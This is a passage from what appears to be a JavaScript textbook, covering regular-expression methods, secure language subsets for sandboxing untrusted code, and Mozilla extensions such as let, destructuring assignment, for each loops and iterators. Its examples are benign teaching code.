`m`	Multiline mode. `^` matches beginning of line or beginning of string, and `$` matches end of line or end of string.

10.2 String Methods for Pattern Matching

Until now, this chapter has discussed the grammar used to create regular expressions, but it hasn't examined how those regular expressions can actually be used in JavaScript code. This section discusses methods of the String object that use regular expressions to perform pattern matching and search-and-replace operations. The sections that follow this one continue the discussion of pattern matching with JavaScript regular expressions by discussing the RegExp object and its methods and properties. Note that the discussion that follows is merely an overview of the various methods and properties related to regular expressions. As usual, complete details can be found in Part III.

Strings support four methods that use regular expressions. The simplest is `search()`. This method takes a regular-expression argument and returns either the character position of the start of the first matching substring or –1 if there is no match. For example, the following call returns 4:

```
"JavaScript".search(/script/i);
```

If the argument to `search()` is not a regular expression, it is first converted to one by passing it to the `RegExp` constructor. `search()` does not support global searches; it ignores the `g` flag of its regular expression argument.

The `replace()` method performs a search-and-replace operation. It takes a regular expression as its first argument and a replacement string as its second argument. It searches the string on which it is called for matches with the specified pattern. If the regular expression has the `g` flag set, the `replace()` method replaces all matches in the string with the replacement string; otherwise, it replaces only the first match it finds. If the first argument to `replace()` is a string rather than a regular expression, the method searches for that string literally rather than converting it to a regular expression with the `RegExp()` constructor, as `search()` does. As an example, you can use `replace()` as follows to provide uniform capitalization of the word "JavaScript" throughout a string of text:

```
// No matter how it is capitalized, replace it with the correct capitalization
text.replace(/javascript/gi, "JavaScript");
```

`replace()` is more powerful than this, however. Recall that parenthesized subexpressions of a regular expression are numbered from left to right and that the regular expression remembers the text that each subexpression matches. If a `$` followed by a digit appears in the replacement string, `replace()` replaces those two characters with the text that matches the specified subexpression. This is a very useful feature. You can use it, for example, to replace straight quotes in a string with curly quotes, simulated with ASCII characters:

```
// A quote is a quotation mark, followed by any number of
// nonquotation-mark characters (which we remember), followed
// by another quotation mark.
var quote = /"([^"]*)"/g;
// Replace the straight quotation marks with curly quotes,
// leaving the quoted text (stored in $1) unchanged.
text.replace(quote, '“$1”');
```

The `replace()` method has other important features as well, which are described in the `String.replace()` reference page in Part III. Most notably, the second argument to `replace()` can be a function that dynamically computes the replacement string.

The `match()` method is the most general of the String regular-expression methods. It takes a regular expression as its only argument (or converts its argument to a regular expression by passing it to the `RegExp()` constructor) and returns an array that contains the results of the match. If the regular expression has the `g` flag set, the method returns an array of all matches that appear in the string. For example:

```
"1 plus 2 equals 3".match(/\d+/g)  // returns ["1", "2", "3"]
```

If the regular expression does not have the `g` flag set, `match()` does not do a global search; it simply searches for the first match. However, `match()` returns an array even when it does not perform a global search. In this case, the first element of the array is the matching string, and any remaining elements are the parenthesized subexpressions of

the regular expression. Thus, if `match()` returns an array `a`, `a[0]` contains the complete match, `a[1]` contains the substring that matched the first parenthesized expression, and so on. To draw a parallel with the `replace()` method, `a[` *n* `]` holds the contents of `$` *n*.

For example, consider parsing a URL with the following code:

```
var url = /(\w+):\/\/([\w.]+)\/(\S*)/;
var text = "Visit my blog at http://www.example.com/~david";
var result = text.match(url);
if (result != null) {
    var fullurl = result[0];   // Contains "http://www.example.com/~david"
    var protocol = result[1];  // Contains "http"
    var host = result[2];      // Contains "www.example.com"
    var path = result[3];      // Contains "~david"
}
```

It is worth noting that passing a nonglobal regular expression to the `match()` method of a string is actually the same as passing the string to the `exec()` method of the regular expression: the returned array has `index` and `input` properties, as described for the `exec()` method below.

The last of the regular-expression methods of the String object is `split()`. This method breaks the string on which it is called into an array of substrings, using the argument as a separator. For example:

```
"123,456,789".split(",");  // Returns ["123","456","789"]
```

The `split()` method can also take a regular expression as its argument. This ability makes the method more powerful. For example, you can now specify a separator character that allows an arbitrary amount of whitespace on either side:

```
"1, 2, 3, 4, 5".split(/\s*,\s*/); // Returns ["1","2","3","4","5"]
```

The `split()` method has other features as well. See the `String.split()` entry in Part III for complete details.

10.3 The RegExp Object

As mentioned at the beginning of this chapter, regular expressions are represented as RegExp objects. In addition to the `RegExp()` constructor, RegExp objects support three methods and a number of properties. RegExp pattern-matching methods and properties are described in the next two sections.

The `RegExp()` constructor takes one or two string arguments and creates a new RegExp object. The first argument to this constructor is a string that contains the body of the regular expression—the text that would appear within slashes in a regular-expression literal. Note that both string literals and regular expressions use the `\` character for escape sequences, so when you pass a regular expression to `RegExp()` as a string literal, you must replace each `\` character with `\\`. The second argument to `RegExp()` is optional. If supplied, it indicates the regular-expression flags. It should be `g`, `i`, `m`, or a combination of those letters.

For example:

```
// Find all five-digit numbers in a string. Note the double \\ in this case.
var zipcode = new RegExp("\\d{5}", "g");
```

The `RegExp()` constructor is useful when a regular expression is being dynamically created and thus cannot be represented with the regular-expression literal syntax. For example, to search for a string entered by the user, a regular expression must be created at runtime with `RegExp()`.

10.3.1 RegExp Properties

Each RegExp object has five properties. The `source` property is a read-only string that contains the text of the regular expression. The `global` property is a read-only boolean value that specifies whether the regular expression has the `g` flag. The `ignoreCase` property is a read-only boolean value that specifies whether the regular expression has the `i` flag. The `multiline` property is a read-only boolean value that specifies whether the regular expression has the `m` flag. The final property is `lastIndex`, a read/write integer. For patterns with the `g` flag, this property stores the position in the string at which the next search is to begin. It is used by the `exec()` and `test()` methods, described below.

10.3.2 RegExp Methods

RegExp objects define two methods that perform pattern-matching operations; they behave similarly to the String methods described earlier. The main RegExp pattern-matching method is `exec()`. It is similar to the String `match()` method described in §10.2, except that it is a RegExp method that takes a string, rather than a String method that takes a RegExp. The `exec()` method executes a regular expression on the specified string. That is, it searches the string for a match. If it finds none, it returns `null`. If it does find one, however, it returns an array just like the array returned by the `match()` method for nonglobal searches. Element 0 of the array contains the string that matched the regular expression, and any subsequent array elements contain the substrings that matched any parenthesized subexpressions. Furthermore, the `index` property contains the character position at which the match occurred, and the `input` property refers to the string that was searched.

Unlike the `match()` method, `exec()` returns the same kind of array whether or not the regular expression has the global `g` flag. Recall that `match()` returns an array of matches when passed a global regular expression. `exec()`, by contrast, always returns a single match and provides complete information about that match. When `exec()` is called on a regular expression that has the `g` flag, it sets the `lastIndex` property of the regular-expression object to the character position immediately following the matched substring. When `exec()` is invoked a second time for the same regular expression, it begins its search at the character position indicated by the `lastIndex` property. If `exec()` does not find a match, it resets `lastIndex` to 0. (You can also set `lastIndex` to 0 at any time, which you should do whenever you quit a search before you find the last match in one string and begin searching another string with the same RegExp object.) This special

behavior allows you to call `exec()` repeatedly in order to loop through all the regular expression matches in a string. For example:

```
var pattern = /Java/g;
var text = "JavaScript is more fun than Java!";
var result;
while((result = pattern.exec(text)) != null) {
    alert("Matched '" + result[0] + "'" +
          " at position " + result.index +
          "; next search begins at " + pattern.lastIndex);
}
```

The other RegExp method is `test()`. `test()` is a much simpler method than `exec()`. It takes a string and returns `true` if the string contains a match for the regular expression:

```
var pattern = /java/i;
pattern.test("JavaScript");  // Returns true
```

Calling `test()` is equivalent to calling `exec()` and returning `true` if the return value of `exec()` is not `null`. Because of this equivalence, the `test()` method behaves the same way as the `exec()` method when invoked for a global regular expression: it begins searching the specified string at the position specified by `lastIndex`, and if it finds a match, it sets `lastIndex` to the position of the character immediately following the match. Thus, you can loop through a string using the `test()` method just as you can with the `exec()` method.

The String methods `search()`, `replace()`, and `match()` do not use the `lastIndex`property as `exec()` and `test()` do. In fact, the String methods simply reset `lastIndex` to 0. If you use `exec()` or `test()` on a pattern that has the `g` flag set, and you are searching multiple strings, you must either find all the matches in each string so that `lastIndex` is automatically reset to zero (this happens when the last search fails), or you must explicitly set the `lastIndex` property to 0 yourself. If you forget to do this, you may start searching a new string at some arbitrary position within the string rather than from the beginning. If your RegExp doesn't have the `g` flag set, then you don't have to worry about any of this, of course. Keep in mind also that in ECMAScript 5 each evaluation of a regular expression literal creates a new RegExp object with its own `lastIndex` property, and this reduces the risk of accidentally using a "leftover" `lastIndex` value.

CHAPTER 11

JavaScript Subsets and Extensions

Until now, this book has described the complete and official JavaScript language, as standardized by ECMAScript 3 and ECMAScript 5. This chapter instead describes subsets and supersets of JavaScript. The subsets have been defined, for the most part, for security purposes: a script written using only a secure language subset can be executed safely even if it comes from an untrusted source such as an ad server. §11.1 describes a few of these subsets.

The ECMAScript 3 standard was published in 1999 and a decade elapsed before the standard was updated to ECMAScript 5 in 2009. Brendan Eich, the creator of JavaScript, continued to evolve the language during that decade (the ECMAScript specification explicitly allows language extensions) and, with the Mozilla project, released JavaScript versions 1.5, 1.6, 1.7, 1.8, and 1.8.1 in Firefox 1.0, 1.5, 2, 3, and 3.5. Some of the features of these extensions to JavaScript have been codified in ECMAScript 5, but many remain nonstandard. Future versions of ECMAScript are expected to standardize at least some of the remaining nonstandard features.

The Firefox browser supports these extensions, as does the Spidermonkey JavaScript interpreter that Firefox is based on. Mozilla's Java-based JavaScript interpreter, Rhino, (see §12.1) also supports most of the extensions. Because these language extensions are nonstandard, however, they will not be useful to web developers who require language compatibility across all browsers. They are documented in this chapter because:

- they are quite powerful;
- they may become standard in the future;
- they can be used to write Firefox extensions;
- they can be used in server-side JavaScript programming, when the underlying JavaScript engine is Spidermonkey or Rhino (see §12.1).

After a preliminary section on language subsets, the rest of this chapter describes these language extensions. Because they are nonstandard, they are documented in tutorial style with less rigor than the language features described elsewhere in the book.

11.1 JavaScript Subsets

Most language subsets are defined to allow the secure execution of untrusted code. There is one interesting subset defined for different reasons. We'll cover that one first, and then cover secure language subsets.

11.1.1 The Good Parts

Douglas Crockford's short book *JavaScript: The Good Parts* (O'Reilly) describes a JavaScript subset that consists of the parts of the language that he thinks are worth using. The goal of this subset is to simplify the language, hide quirks and imperfections, and ultimately, make programming easier and programs better. Crockford explains his motivation:

> Most programming languages contain good parts and bad parts. I discovered that I could be a better programmer by using only the good parts and avoiding the bad parts.

Crockford's subset does not include the `with` and `continue` statements or the `eval()` function. It defines functions using function definition expressions only and does not include the function definition statement. The subset requires the bodies of loops and conditionals to be enclosed in curly braces: it does not allow the braces to be omitted if the body consists of a single statement. It requires any statement that does not end with a curly brace to be terminated with a semicolon.

The subset does not include the comma operator, the bitwise operators, or the `++` and `--` operators. It also disallows `==` and `!=` because of the type conversion they perform, requiring use of `===` and `!==` instead.

Since JavaScript does not have block scope, Crockford's subset restricts the `var` statement to appear only at the top level of a function body and requires programmers to declare all of a function's variables using a single `var` as the first statement in a function body. The subset discourages the use of global variables, but this is a coding convention rather than an actual language restriction.

Crockford's online code-quality checking tool at *http://jslint.com* includes an option to enforce conformance to The Good Parts. In addition to ensuring that your code uses only the allowed features, the JSLint tool also enforces coding style rules, such as proper indentation.

Crockford's book was written before the strict mode of ECMAScript 5 was defined, but many of the "bad parts" of JavaScript he seeks to discourage in his book are prohibited by the use of strict mode. With the adoption of the ECMAScript 5 standard, the JSLint tool now requires programs to include a "use strict" directive when "The Good Parts" option is selected.

11.1.2 Subsets for Security

The Good Parts is a language subset designed for aesthetic reasons and with a desire to improve programmer productivity. There is a larger class of subsets that have been

designed for the purpose of safely running untrusted JavaScript in a secure container or "sandbox." Secure subsets work by disallowing all language features and APIs that can allow code to break out of its sandbox and affect the global execution environment. Each subset is coupled with a static verifier that parses code to ensure that it conforms to the subset. Since language subsets that can be statically verified tend to be quite restrictive, some sandboxing systems define a larger, less restrictive subset and add a code transformation step that verifies that code conforms to the larger subset, transforms it to use a smaller language subset, and adds runtime checks where static analysis of the code is not sufficient to ensure security.

In order to allow JavaScript to be statically verified to be safe, a number of features must be removed:

- `eval()` and the `Function()` constructor are not allowed in any secure subset because they allow the execution of arbitrary strings of code, and these strings cannot be statically analyzed.
- The `this` keyword is forbidden or restricted because functions (in non-strict mode) can access the global object through `this`. Preventing access to the global object is one of the key purposes of any sandboxing system.
- The `with` statement is often forbidden in secure subsets because it makes static code verification more difficult.
- Certain global variables are not allowed in secure subsets. In client-side JavaScript, the browser window object does double-duty as the global object, so code is not allowed to refer to the `window` object. Similarly, the client-side `document` object defines methods that allow complete control over page content. This is too much power to give to untrusted code. Secure subsets can take two different approaches to global variables like `document`. They can forbid them entirely, and instead define a custom API that sandboxed code can use to access the limited portion of the web page that has been alloted to it. Alternatively, the "container" in which the sandboxed code is run can define a facade or proxy `document` object that implements only the safe parts of the standard DOM API.
- Certain special properties and methods are forbidden in secure subsets because they give too much power to the sandboxed code. These typically include the `caller` and `callee` properties of the `arguments` object (though some subsets do not allow the `arguments` object to be used at all), the `call()` and `apply()` methods of functions, and the `constructor` and `prototype` properties. Nonstandard properties such as `__proto__` are also forbidden. Some subsets blacklist unsafe properties and globals. Others whitelist a specific set of properties know to be safe.
- Static analysis is sufficient to prevent access to special properties when the property access expression is written using the `.` operator. But property access with `[]` is more difficult because arbitrary string expressions within the square brackets cannot be statically analyzed. For this reason, secure subsets usually forbid the use of square brackets unless the argument is a numeric or string literal. Secure subsets replace the `[]` operators with global functions for querying and setting object

properties—these functions perform runtime checks to ensure that they aren't used to access forbidden properties.

Some of these restrictions, such as forbidding the use of `eval()` and the `with` statement, are not much of a burden for programmers, since these features are not commonly used in JavaScript programming. Others, such as the restriction on the use of square brackets for property access are quite onerous, and this is where code translation comes in. A translator can automatically transform the use of square brackets, for example, into a function call that includes runtime checks. Similar transformations can allow the safe use of the `this` keyword. There is a tradeoff, of course, between the safety of these runtime checks and execution speed of the sandboxed code.

A number of secure subsets have been implemented. Although a complete description of any subset is beyond the scope of this book, we'll briefly describe some of the most important:

ADsafe
: ADsafe (*http://adsafe.org*) was one of the first security subsets proposed. It was created by Douglas Crockford (who also defined The Good Parts subset). ADsafe relies on static verification only, and it uses JSLint (*http://jslint.org*) as its verifier. It forbids access to most global variables and defines an `ADSAFE` variable that provides access to a secure API, including special-purpose DOM methods. ADsafe is not in wide use, but it was an influential proof-of-concept that influenced other secure subsets.

dojox.secure
: The dojox.secure subset (*http://www.sitepen.com/blog/2008/08/01/secure-mashups-with-dojoxsecure/*) is an extension to the Dojo toolkit (*http://dojotoolkit.org*) that was inspired by ADsafe. Like ADsafe, it is based on static verification of a restrictive language subset. Unlike ADsafe, it allows use of the standard DOM API. Also, it includes a verifier written in JavaScript, so that untrusted code can be dynamically verified before being evaluated.

Caja
: Caja (*http://code.google.com/p/google-caja/*) is Google's open-source secure subset. Caja (Spanish for "box") defines two language subsets. Cajita ("little box") is a narrow subset like that used by ADsafe and dojox.secure. Valija ("suitcase" or "baggage") is a much broader language that is close to regular ECMAScript 5 strict mode (with the removal of `eval()`). Caja itself is the name of the compiler that transforms (or "cajoles") web content (HTML, CSS, and JavaScript code) into secure modules that can be safely hosted on a web page without being able to affect the page as a whole or other modules on the page.

  Caja is part of the OpenSocial API (*http://code.google.com/apis/opensocial/*) and has been adopted by Yahoo! for use on its websites. The content available at the portal *http://my.yahoo.com*, for example, is organized into Caja modules.

FBJS

FBJS is the variant of JavaScript used by Facebook (*http://facebook.com*) to allow untrusted content on users' profile pages. FBJS relies on code transformation to ensure security. The transformer inserts runtime checks to prevent access to the global object through the `this` keyword. And it renames all top-level identifiers by adding a module-specific prefix. Any attempt to set or query global variables or variables belonging to another module is prevented because of this renaming. Furthermore, any calls to `eval()` are transformed by this identifier prefixing into calls to a nonexistent function. FBJS emulates a safe subset of the DOM API.

Microsoft Web Sandbox

Microsoft's Web Sandbox (*http://websandbox.livelabs.com/*) defines a broad subset of JavaScript (plus HTML and CSS) and makes it secure through radical code rewriting, effectively reimplementing a secure JavaScript virtual machine on top of nonsecure JavaScript.

11.2 Constants and Scoped Variables

We now leave language subsets behind and transition to language extensions. In JavaScript 1.5 and later, you can use the `const` keyword to define constants. Constants are like variables except that assignments to them are ignored (attempting to alter a constant does not cause an error) and attempts to redeclare them cause errors:

```
const pi = 3.14;  // Define a constant and give it a value.
pi = 4;           // Any future assignments to it are silently ignored.
const pi = 4;     // It is an error to redeclare a constant.
var pi = 4;       // This is also an error.
```

The `const` keyword behaves much like the `var` keyword: there is no block scope, and constants are *hoisted* to the top of the enclosing function definition. (See §3.10.1)

The lack of block scope for variables in JavaScript has long been considered a shortcoming of the language, and JavaScript 1.7 addresses it by adding the `let` keyword to the language. The keyword `const` has always been a reserved (but unused) word in JavaScript, so constants can be added without breaking any existing code. The `let` keyword was not reserved, so it is not recognized unless you explicitly opt-in to version 1.7 or later.

JavaScript Versions

In this chapter, when we refer to a specific JavaScript version number, we're referring specifically to Mozilla's version of the language, as implemented in the Spidermonkey and Rhino interpreters and the Firefox web browser.

Some of the language extensions here define new keywords (such as `let`) and to avoid breaking existing code that uses that keyword, JavaScript requires you to explicitly request the new version of the language in order to use the extension. If you are using Spidermonkey or Rhino as a stand-alone interpreter, you can specify the desired

language version with a command-line option or by calling the built-in `version()` function. (It expects the version number times ten. Pass 170 to select JavaScript 1.7 and enable the `let` keyword.) In Firefox, you can opt in to language extensions using a script tag like this:

```
<script type="application/javascript; version=1.8">
```

The `let` keyword can be used in four ways:

- as a variable declaration like `var`;
- in a `for` or `for/in` loop, as a substitute for `var`;
- as a block statement, to define new variables and explicitly delimit their scope; and
- to define variables that are scoped to a single expression.

The simplest way to use `let` is as a drop-in replacement for `var`. Variables declared with `var` are defined throughout the enclosing function. Variables declared with `let` are defined only within the closest enclosing block (and any blocks nested within it, of course). If you declare a variable with `let` inside the body of a loop, for example, it does not exist outside the loop:

```
function oddsums(n) {
    let total = 0, result=[];        // Defined throughout the function
    for(let x = 1; x <= n; x++) {    // x is only defined in the loop
        let odd = 2*x-1;             // odd only defined in this loop
        total += odd;
        result.push(total);
    }
    // Using x or odd here would cause a ReferenceError
    return result;
}

oddsums(5);  // Returns [1,4,9,16,25]
```

Notice that this code also uses `let` as a replacement for `var` in the `for` loop. This creates a variable whose scope is the body of the loop plus the condition and increment clauses of the loop. You can also use `let` in this way in `for/in` (and `for each`; see §11.4.1) loops:

```
o = {x:1,y:2};
for(let p in o) console.log(p);      // Prints x and y
for each(let v in o) console.log(v); // Prints 1 and 2
console.log(p)                       // ReferenceError: p is not defined
```

There is an interesting difference between `let` used as a declaration statement and `let` used as a loop initializer. Used as a declaration, the variable initializer expressions are evaluated in the scope of the variable. But in a `for` loop, the initializer expression is evaluated outside the scope of the new variable. This matters only when the new variable is shadowing a new variable by the same name:

```
let x = 1;
for(let x = x + 1; x < 5; x++)
    console.log(x); // Prints 2,3,4
```

```
{                   // Begin a block to create a new variable scope
    let x = x + 1;  // x is undefined, so x+1 is NaN
    console.log(x); // Prints NaN
}
```

Variables declared with `var` exist throughout the function in which they are declared, but they are not initialized until the `var` statement actually runs. That is, the variable exists (i.e., no `ReferenceError` will be thrown) but is `undefined` if you attempt to use it before the `var` statement. Variables declared with `let` are similar: if you attempt to use a variable before its `let` statement (but within the same block as the `let` statement), the variable will exist but its value will be `undefined`.

Notice that this problem doesn't exist when you use `let` to declare a loop variable—the syntax simply doesn't allow you to use the variable before it is initialized. There is another way to use `let` that avoids this problem of using variables before they are initialized. A `let` block statement (as opposed to the `let` declaration statements shown above) combines a block of code with a set of variables for the block and the initialization expressions for those variables. In this form, the variables and their initializers are placed within parentheses and are followed by a block of statements within curly braces:

```
let x=1, y=2;
let (x=x+1,y=x+2) {   // Note that we're shadowing variables
    console.log(x+y); // Prints 5
};
console.log(x+y);     // Prints 3
```

It is important to understand that the variable initializer expressions of a `let` block are not part of the block and are interpreted in the outer scope. In the code above, we are creating a new variable x and assigning it a value one larger than the value of the existing variable x.

The final use of the `let` keyword is a variant on the `let` block, in which a parenthesized list of variables and initializers is followed by a single expression rather than a block of statements. This is called a `let` expression, and the code above could be rewritten to use one like this:

```
let x=1, y=2;
console.log(let (x=x+1,y=x+2) x+y);  // Prints 5
```

Some form of `const` and `let` (not necessarily all four forms described here) are likely to be included in a future version of the ECMAScript standard.

11.3 Destructuring Assignment

Spidermonkey 1.7 implements a kind of compound assignment known as *destructuring assignment*. (You may have seen destructuring assignment before, in Python or Ruby, for example.) In a destructuring assignment, the value on the right-hand side of the equals sign is an array or object (a "structured" value) and the left-hand side specifies one or more variable names using a syntax that mimics array and object literal syntax.

When a destructuring assignment occurs, one or more values are extracted ("destructured") from the value on the right and stored into the variables named on the left. In addition to its use with the regular assignment operator, destructuring assignment can also be used when initializing newly declared variables with `var` and `let`.

Destructuring assignment is simple and powerful when working with arrays, and is particularly useful with functions that return arrays of values. It can become confusing and complex when used with objects and nested objects, however. Examples demonstrating both simple and complex uses follow.

Here are simple destructuring assignments using arrays of values:

```
let [x,y] = [1,2];    // Same as let x=1, y=2
[x,y] = [x+1,y+1];    // Same as x = x + 1, y = y+1
[x,y] = [y,x];        // Swap the value of the two variables
console.log([x,y]);   // Prints [3,2]
```

Notice how destructuring assignment makes it easy to work with functions that return arrays of values:

```
// Convert [x,y] coordinates to [r,theta] polar coordinates
function polar(x,y) {
    return [Math.sqrt(x*x+y*y), Math.atan2(y,x)];
}
// Convert polar to Cartesian coordinates
function cartesian(r,theta) {
    return [r*Math.cos(theta), r*Math.sin(theta)];
}

let [r,theta] = polar(1.0, 1.0);  // r=Math.sqrt(2), theta=Math.PI/4
let [x,y] = cartesian(r,theta);   // x=1.0, y=1.0
```

The number of variables on the left of a destructuring assignment does not have to match the number of array elements on the right. Extra variables on the left are set to `undefined`, and extra values on the right are ignored. The list of variables on the left can include extra commas to skip certain values on the right:

```
let [x,y] = [1];     // x = 1, y = undefined
[x,y] = [1,2,3];     // x = 1, y = 2
[,x,,y] = [1,2,3,4]; // x = 2, y = 4
```

There is no syntax to assign all unused or remaining values (as an array) to a variable. In the second line of code above, for example, there is no way to assign `[2,3]` to `y`.

The value of a destructuring assignment is the complete data structure on the right-hand side, not the individual values that are extracted from it. Thus, it is possible to "chain" assignments like this:

```
let first, second, all;
all = [first,second] = [1,2,3,4]; // first=1, second=2, all=[1,2,3,4]
```

Destructuring assignment can even be used with nested arrays. In this case, the left-hand side of the assignment should look like a nested array literal:

```
let [one, [twoA, twoB]] = [1, [2,2.5], 3]; // one=1, twoA=2, twoB=2.5
```

Destructuring assignment can also be performed when the right-hand side is an object value. In this case, the left-hand side of the assignment looks something like an object literal: a comma-separated and brace delimited list of property name and variable name pairs. The name to the left of each colon is a property name, and the name to the right of each colon is a variable name. Each named property is looked up in the object on the right-hand side of the assignment, and its value (or `undefined`) is assigned to the corresponding variable. This type of destructuring assignment can get confusing, especially because it is often tempting to use the same identifier for both property and variable name. In the example below, be sure that you understand that `r`, `g`, and `b` are property names and `red`, `green`, and `blue` are variable names:

```
let transparent = {r:0.0, g:0.0, b:0.0, a:1.0}; // A RGBA color
let {r:red, g:green, b:blue} = transparent;     // red=0.0,green=0.0,blue=0.0
```

The next example copies global functions of the `Math` object into variables, which might simplify code that does a lot of trigonometry:

```
// Same as let sin=Math.sin, cos=Math.cos, tan=Math.tan
let {sin:sin, cos:cos, tan:tan} = Math;
```

Just as destructuring assignment can be used with nested arrays, it can be used with nested objects. In fact, the two syntaxes can be combined to describe arbitrary data structures. For example:

```
// A nested data structure: an object that contains an array of objects
let data = {
    name: "destructuring assignment",
    type: "extension",
    impl: [{engine: "spidermonkey", version: 1.7},
           {engine: "rhino", version: 1.7}]
};

// Use destructuring assignment to extract four values from the data structure
let ({name:feature, impl: [{engine:impl1, version:v1},{engine:impl2}]} = data) {
    console.log(feature);  // Prints "destructuring assignment"
    console.log(impl1);    // Prints "spidermonkey"
    console.log(v1);       // Prints 1.7
    console.log(impl2);    // Prints "rhino"
}
```

Note that nested destructuring assignments like this may make your code harder to read rather than simplifying it. There is an interesting regularity that can help you to make sense of the complex cases, however. Think first about a regular (single-value) assignment. After the assignment is done, you can take the variable name from the left-hand side of the assignment and use it as an expression in your code, where it will evaluate to whatever value you assigned it. In destructuring assignment, we've said that the left-hand side uses a syntax like array literal syntax or like object literal syntax. But notice that after the destructuring assignment is done, the code that looks like an array literal or object literal from the left-hand side will actually work as a valid array literal or object literal elsewhere in your code: all the necessary variables have been defined

so that you can cut-and-paste the text on the left of the equals sign and use it as an array or object value in your code.

11.4 Iteration

Mozilla's JavaScript extensions introduce new iteration techniques, including the `for each` loop and Python-style iterators and generators. They are detailed in the subsections below.

11.4.1 The for/each Loop

The `for/each` loop is a new looping statement standardized by E4X. E4X (ECMAScript for XML) is a language extension that allows XML tags to appear literally in JavaScript programs and adds syntax and API for operating on XML data. E4X has not been widely implemented in web browsers, but it is supported by Mozilla's JavaScript 1.6 (released in Firefox 1.5). In this section, we'll cover only the `for/each` loop and its use with non-XML objects. See §11.7 for details on the rest of E4X.

The `for each` loop is much like the `for/in` loop. Instead of iterating through the properties of an object, however, it iterates through the values of those properties:

```
let o = {one: 1, two: 2, three: 3}
for(let p in o) console.log(p);       // for/in: prints 'one', 'two', 'three'
for each (let v in o) console.log(v); // for/each: prints 1, 2, 3
```

When used with an array, the `for/each` loop iterates through the elements (rather than the indexes) of the loop. It typically enumerates them in numerical order, but this is not actually standardized or required:

```
a = ['one', 'two', 'three'];
for(let p in a) console.log(p);       // Prints array indexes 0, 1, 2
for each (let v in a) console.log(v); // Prints array elts 'one', 'two', 'three'
```

Note that the `for/each` loop does not limit itself to the array elements of an array—it will enumerate the value of any enumerable property of the array including enumerable methods inherited by the array. For this reason, the `for/each` loop is usually not recommended for use with arrays. This is particularly true for code that must interoperate with versions of JavaScript before ECMAScript 5 in which it is not possible to make user-defined properties and methods non-enumerable. (See §7.6 for a similar discussion of the `for/in` loop.)

11.4.2 Iterators

JavaScript 1.7 enhances the `for/in` loop with more general behavior. JavaScript 1.7's `for/in` loop is more like Python's `for/in` and allows it iterate over any *iterable* object. In order to understand this, some definitions are required.

An *iterator* is an object that allows iteration over some collection of values and maintains whatever state is necessary to keep track of the current "position" in the collection.

An iterator must have a `next()` method. Each call to `next()` returns the next value from the collection. The `counter()` function below, for example, returns an iterator that returns successively larger integers on each call to `next()`. Note the use of the function scope as a closure that holds the current state of the counter:

```
// A function that returns an iterator;
function counter(start) {
    let nextValue = Math.round(start);  // Private state of the iterator
    return { next: function() { return nextValue++; }}; // Return iterator obj
}

let serialNumberGenerator = counter(1000);
let sn1 = serialNumberGenerator.next();    // 1000
let sn2 = serialNumberGenerator.next();    // 1001
```

Iterators that work on finite collections throw `StopIteration` from their `next()` method when there are no more values to iterate. `StopIteration` is a property of the global object in JavaScript 1.7. Its value is an ordinary object (with no properties of its own) that is reserved for this special purpose of terminating iterations. Note, in particular, that `StopIteration` is not a constructor function like `TypeError()` or `RangeError()`. Here, for example, is a `rangeIter()` method that returns an iterator that iterates the integers in a given range:

```
// A function that returns an iterator for a range of integers
function rangeIter(first, last) {
    let nextValue = Math.ceil(first);
    return {
        next: function() {
            if (nextValue > last) throw StopIteration;
            return nextValue++;
        }
    };
}

// An awkward iteration using the range iterator.
let r = rangeIter(1,5);                  // Get an iterator object
while(true) {                            // Now use it in a loop
    try {
        console.log(r.next());           // Try to call its next() method
    }
    catch(e) {
        if (e == StopIteration) break;   // Exit the loop on StopIteration
        else throw e;
    }
}
```

Note how awkward it is to use an iterator object in a loop where the `StopIteration` method must be handled explicitly. Because of this awkwardness, we don't often use iterator objects directly. Instead we use ***`iterable`*** objects. An *iterable* object represents a collection of values that can be iterated. An iterable object must define a method named `__iterator__()` (with two underscores at the start and end of the name) which returns an iterator object for the collection.

The JavaScript 1.7 `for/in` loop has been extended to work with iterable objects. If the value to the right of the `in` keyword is iterable, then the `for/in` loop will automatically invoke its `__iterator__()` method to obtain an iterator object. It then calls the `next()` method of the iterator, assigns the resulting value to the loop variable, and executes the loop body. The `for/in` loop handles the `StopIteration` exception itself, and it is never visible to your code. The code below defines a `range()` function that returns an iterable object (not an iterator) that represents a range of integers. Notice how much easier it is to use a `for/in` loop with an iterable range than it is to use a `while` loop with a range iterator.

```
// Return an iterable object that represents an inclusive range of numbers
function range(min,max) {
    return {                          // Return an object representing a range.
        get min() { return min; },    // The range's bounds are immutable.
        get max() { return max; },    // and stored in the closure.
        includes: function(x) {       // Ranges can test for membership.
            return min <= x && x <= max;
        },
        toString: function() {        // Ranges have a string representation.
            return "[" + min + "," + max + "]";
        },
        __iterator__: function() {    // The integers in a range are iterable.
            let val = Math.ceil(min); // Store current position in closure.
            return {                  // Return an iterator object.
            next: function() {     // Return next integer in the range.
                if (val > max)     // If we're past the end then stop.
                    throw StopIteration;
                return val++;      // Otherwise return next and increment.
            }
            };
        }
    };
}

// Here's how we can iterate over a range:
for(let i in range(1,10)) console.log(i);  // Prints numbers from 1 to 10
```

Note that that although you must write an `__iterator__()` method and throw a `StopIteration` exception to create iterable objects and their iterators, you are not expected (in normal use) to call the `__iterator__()` method nor to handle the `StopIteration` exception—the `for/in` loop does this for you. If for some reason you want to explicitly obtain an iterator object from an iterable object, call the `Iterator()` function. (`Iterator()` is a global function that is new in JavaScript 1.7.) If the argument to this function is an iterable object, it simply returns the result of a call to the `__iterator__()` method, keeping your code cleaner. (If you pass a second argument to `Iterator()`, it will pass that argument on to the `__iterator__()` method.)

There is another important purpose for the `Iterator()` function, however. When you call it on an object (or array) that does not have an `__iterator__()` method, it returns a custom iterable iterator for the object. Each call to this iterator's `next()` method returns an array of two values. The first array element is a property name, and the second

is the value of the named property. Because this object is an iterable iterator, you can use it with a `for/in` loop instead of calling its `next()` method directly, and this means that you can use the `Iterator()` function along with destructuring assignment to conveniently loop through the properties and values of an object or array:

```
for(let [k,v] in Iterator({a:1,b:2}))  // Iterate keys and values
    console.log(k + "=" + v);          // Prints "a=1" and "b=2"
```

There are two other important features of the iterator returned by the `Iterator()` function. First, it ignores inherited properties and only iterates "own" properties, which is usually what you want. Second, if you pass `true` as the second argument to `Iterator()`, the returned iterator will iterate only property names, not property values. The following code demonstrates these two features:

```
o = {x:1, y:2}                            // An object with two properties
Object.prototype.z = 3;                   // Now all objects inherit z
for(p in o) console.log(p);               // Prints "x", "y", and "z"
for(p in Iterator(o, true)) console.log(p); // Prints only "x" and "y"
```

11.4.3 Generators

